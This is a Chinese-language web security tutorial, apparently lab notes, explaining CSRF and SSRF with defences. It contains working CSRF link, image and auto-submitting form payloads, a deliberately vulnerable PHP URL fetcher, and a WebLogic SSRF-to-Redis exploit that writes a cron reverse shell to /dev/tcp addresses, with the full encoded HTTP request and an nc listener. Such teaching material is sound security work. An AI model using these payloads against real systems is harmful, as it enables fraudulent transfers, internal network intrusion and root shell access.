CSRF

概述

  • 跨站请求伪造(Cross-site request forgery,CSRF)是一种攻击,它强制终端用户在当前对其进行身份验证后的Web应用程序上执行非本意的操作.CSRF攻击的着重点在伪造更改状态的请求,而不是盗取数据,因为攻击者无法查看对伪造请求的响应.借助社工的一些帮助(例如通过电子邮件或聊天发送链接),攻击者可以诱骗用户执行攻击者选择的操作.如果受害者是普通用户,则成功的CSRF攻击可以强制用户执行状态更改的请求,例如转移资金,更改其电子邮件地址等.如果受害者是管理帐户,CSRF可能会危及整个Web应用程序.

关键点

  • CSRF是一种欺骗受害者提交恶意请求的攻击.它继承了受害者的身份和特权,代表受害者执行非本意、恶意的操作.对于大多数站点,浏览器请求自动发送与站点关联的所有凭据,例如用户的会话cookie,IP地址,Windows域凭据等.因此,如果用户当前已对该站点进行了身份验证,则该站点将无法区分受害者发送的伪造请求和受害者发送的合法请求.

目标

  • CSRF攻击目标是能够更改服务器状态或数据的业务或功能,例如更改受害者的电子邮件地址,密码或购买商品.强制受害者查询数据,对于攻击者来说没什么用,因为无法获得服务器响应.因此,CSRF攻击针对引起状态变化的请求.有时可以将CSRF攻击存储在易受攻击的站点上.这些漏洞被称为存储的CSRF漏洞.这可以通过简单地在接受HTML的字段中存储IMG或IFRAME标记,或通过更复杂的跨站点脚本攻击来实现.如果攻击可以在站点中存储CSRF攻击,则攻击的严重性会被放大.特别是,受到攻击的可能性增加,因为受害者比互联网上的某个随机页面更有可能查看包含攻击的页面.

CSRF攻击模拟

为了复现CSRF攻击的场景,模拟一个银行网站.该模拟银行网站的核心业务就是转账

  • 当用户点击了黑客部署的页面触发csrf攻击,发送恶意的转账请求的同时用户的浏览器也会将cookie一并提交给银行的服务器,达到攻击的目的
#页面通过标签发送了一个get请求,这个get请求,正是用户发起转账业务的请求
<a href="http://172.16.132.161/bank/action.php?username=hacker&money=1000&submit=%E4%BA%A4%E6%98%93">大爷!来玩</a>
<img src="http://172.16.132.161/bank/action.php?username=hacker&money=1000&submit=%E4%BA%A4%E6%98%93">

QQ截图20201228151617.png

QQ截图20201228151631.png

QQ截图20201228151647.png

QQ截图20201228151800.png

POST方式

  • 即使转账操作使用POST方法,攻击者也可以通过构造表单的方式来伪造请求,此处可以利用JS来自动提交隐藏的表单
<meta charset='utf-8'>
<form name='csrf' action='http://172.16.132.138/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='1000'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br/>

CSRF防御

有效的防御

添加Token验证

  • CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于Cookie中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的Cookie来通过安全验证.由此可知,抵御CSRF攻击的关键在于:在请求中放入攻击者所不能伪造的信息,并且该信息不存在于Cookie之中.鉴于此,系统开发者可以在HTTP请求中以参数的形式加入一个随机产生的token(随机字符串),并在服务器端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求

二次验证

  • 在转账等关键操作之前提供当前用户的密码或者验证码.二次验证可以有效防御CSRF攻击

验证Referer字段

  • 根据HTTP协议,在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址.在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站.比如某银行的转账是通过用户访问页面完成,用户必须先登录,并且访问该页面,然后通过点击页面上的按钮来触发转账事件.当用户提交请求时,该转账请求的Referer值就会是转账按钮所在页面的URL.而如果攻击者要对银行网站实施CSRF攻击,他只能在自己的网站构造请求,当用户通过攻击者的网站发送请求到银行时,该请求的Referer是指向攻击者的网站.因此,要防御CSRF攻击,银行网站只需要对于每一个转账请求验证其Referer值,如果是银行的地址或域名,则说明该请求是来自银行网站自己的请求,是合法的.如果Referer是其他网站的话,就有可能是CSRF攻击,则拒绝该请求

无效的防御

使用秘密cookie

  • 所有cookie,即使是秘密的cookie,也会随着每个请求一起提交.无论最终用户是否被欺骗提交请求,都将提交所有身份验证令牌.身份凭据

仅接受POST请求

  • 可以开发应用程序以仅接受用于执行业务逻辑的POST请求.误解是由于攻击者无法构建恶意链接,因此无法执行CSRF攻击.不幸的是,这种逻辑不正确.有许多方法可以让攻击者欺骗受害者提交伪造的POST请求,例如在隐藏值的攻击者网站中托管的简单表单.此表单可以由JavaScript自动触发,也可以由认为表单会执行其他操作的受害者触发

多步交易

  • 多步交易不足以预防CSRF.只要攻击者可以预测或推断完整的事务的每个步骤,就可以实现CSRF

URL重写

  • 这可能被视为一种有用的CSRF预防技术,因为攻击者无法猜测受害者的会话ID.但是,用户的会话ID在URL中公开.所以不建议通过引入另一个安全漏洞来修复一个安全漏洞

HTTPS

  • HTTPS本身无法抵御CSRF.但是,HTTPS应被视为任何预防措施值得信赖的先决条件

SSRF

概述

  • 互联网上的很多Web应用提供了从其他服务器(也可以是本地)获取数据的功能.使用用户指定的URL,Web应用可以获取图片,文件资源(下载或读取).如下图所示,百度提供识图功能.
  • 用户可以从本地或者URL的方式获取图片资源,交给百度识图处理.如果提交的是URL地址,该应用就会通过URL寻找图片资源.如果Web 应用开放了类似于百度识图这样的功能,并且对用户提供的URL和远端服务器返回的信息没有进行合适的验证或者过滤,就可能存在“请求伪造”的缺陷.
  • 请求伪造,顾名思义就是攻击者伪造正常的请求,以达到攻击的目的,是常见的Web安全漏洞之一.如果请求伪造发生在服务器端,那么这个漏洞就叫做服务器端请求伪造,英文名字为Server-Side Request Forgery,简称SSRF.
  • SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种攻击者发起的伪造由服务器端发起请求的一种攻击,也是常见Web安全漏洞(缺陷或者风险)之一

SSRF危害

  • 端口扫描
  • 内网Web应用指纹识别
  • 攻击内网Web应用
  • 读取本地文件

SSRF常见代码实现

  • 在服务器端实现通过URL从服务器(外部或者内部)获取资源功能的方法有很多,此处使用PHP语言和curl扩展实现改功能
  • 将以上代码保存成文件ssrf_curl.php.该段代码实现了从服务器获取资源的基本功能,提交?url=http://www.baidu.com页面就会载入百度首页的资源
<?php 
if (isset($_REQUEST['url']))
{
    $link = $_REQUEST['url'];
    $filename = './curled/'.time().'.txt';
    $curlobj = curl_init($link);
    $fp = fopen($filename,"w");
    curl_setopt($curlobj, CURLOPT_FILE, $fp);
    curl_setopt($curlobj, CURLOPT_HEADER, 0);
    curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_exec($curlobj);
    curl_close($curlobj);
    fclose($fp);
    $fp = fopen($filename,"r");
    $result = fread($fp, filesize($filename)); 
    fclose($fp);
    echo $result;
}else{
    echo "?url=[url]";
}
?>

QQ截图20201228151930.png

访问正常文件

  • 访问正常的文件,提交参数?url=http://www.baidu.com/robots.txt

QQ截图20201228152010.png

端口扫描(扫描内网的机器的端口)

  • 当访问未开放端口,脚本会显示空白或者报错.当访问开放端口时,脚本会显示banner信息
  • ?url=dict://172.16.132.152:22
  • ?url=dict://127.0.0.1:3306

QQ截图20201228152038.png

QQ截图20201228152103.png

读取系统本地文件

  • 利用file协议可以任意读取系统本地文件?url=file:///etc/hosts

QQ截图20201228152127.png

内网Web应用指纹识别

  • 识别内网应用使用的框架,平台,模块以及cms可以为后续的渗透测试提供很多帮助.大多数web应用框架都有一些独特的文件和目录.通过这些文件可以识别出应用的类型,甚至详细的版本.根据这些信息就可以针对性的搜集漏洞进行攻击.

QQ截图20201228152146.png

攻击内网应用

内网的安全通常都很薄弱,溢出,弱口令等一般都是存在的.通过ssrf攻击可以实现对内网的访问,从而可以攻击内网应用或者本地机器,获得shell,这里的应用包括服务,Web应用等.仅仅通过get方法可以攻击的web应用有很多,比如struts2命令执行

SSRF漏洞挖掘

对外发起网络请求的地方都可能存在SSRF漏洞,列举图片加载下载,分享页面,在线翻译,未公开的api,从远程服务器请求资源文件处理,编码处理, 属性信息处理等

SSRF 漏洞挖掘.png

SSRF防御

  • 限制协议,仅允许http和https请求.
  • 限制IP,避免应用被用来获取内网数据,攻击内网
  • 限制端口,限制请求的端口为http常用的端口,比如,80,443,8080,8090
  • 过滤返回信息,验证远程服务器对请求的响应是比较简单的方法
  • 统一错误信息,免用户可以根据错误信息来判断远端服务器的端口状态

Weblogic从ssrf到getShell

SSRF漏洞测试

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,我们在brupsuite下测试该漏洞.访问存在的端口和不存在的端口得到的反馈不同,以此来判断内网情况

  • 存在的端口

QQ截图20201229101913.png

  • 不存在的端口

QQ截图20201229101940.png

注入HTTP头利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个GET请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器

  • 通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.21.0.2:6379可以连通

QQ截图20201229103455.png

  • 发送三条redis命令,将弹shell脚本写入/etc/crontab
#反弹shell /dev/tcp/ip地址/端口
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

#进行url编码
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
  • 在自己服务器监听一个端口
#10.0.0.254
nc -lvnp 7999
  • 注意,换行符是\r\n,也就是%0D%0A.将url编码后的字符串放在ssrf的域名后面发送
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.21.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.0.254%2F7999%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: 10.0.0.254:7001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

QQ截图20201229103944.png

  • 同时自己的服务器获得了反弹的shell

QQ截图20201229105943.png

  • 通过redis写入的语句

QQ截图20201229110336.png

可进行利用的cron有如下几个地方

  • /etc/crontab这个是肯定的
  • /etc/cron.d/*将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同.漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell
  • /var/spool/cron/rootcentos系统下root用户的cron文件
  • /var/spool/cron/crontabs/rootdebian系统下root用户的cron文件